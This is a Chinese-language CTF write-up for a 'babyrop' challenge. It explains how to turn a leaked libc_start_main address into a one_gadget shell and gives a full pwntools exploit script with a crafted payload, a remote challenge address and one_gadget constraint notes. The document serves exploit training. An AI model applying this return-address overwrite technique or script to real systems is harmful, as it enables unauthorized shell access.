思路:
调试时发现在栈中有一个libc_start_main的地址
可以根据这个地址算出距one_gadget 的偏移
得到这个偏移后再让libc_start_main这个地址加上这个偏移即可得到one_gaget的地址, 之后再用这个地址覆盖ret即可getshell, 需要注意的是要满足one_gadget的约束条件, 我选则的是偏移为0x4526a 处的one_gadget, 所以需要保证[rsp + 0x30] == NULL 满足
调用的相关函数:
使栈中的数据相加
调整 “栈指针”, 使"栈指针"想上移动
向栈中写入零
还需要注意的是检查的数据的类型是无符号数, 在多次调用0x28指令后
前三个入栈的指令都无法执行, 所以要通过其它指令来达到写零与覆写ret的目的
EXP:
from pwn import *
context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
context.log_level='debug'
debug = 1
d = 1
execve = "./babyrop"
if debug == 1:
p = process(execve)
if d == 1:
gdb.attach(p)
else:
p = remote("106.54.67.184", 15924)
#0x28 -> *(_DWORD*)(a3 + 16) = 0
#0x42 -> *a1 - 8
#0x34 -> *a1 - 8, copy stack data
payload = '\x28\x28\x28' + '\x34'*12 + '\x56' + p32(0x24a3a) + '\x21' + '\x34\x34\x34\x34\x34'
p.sendline(payload)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
raw_input()
p.interactive()
复现结果: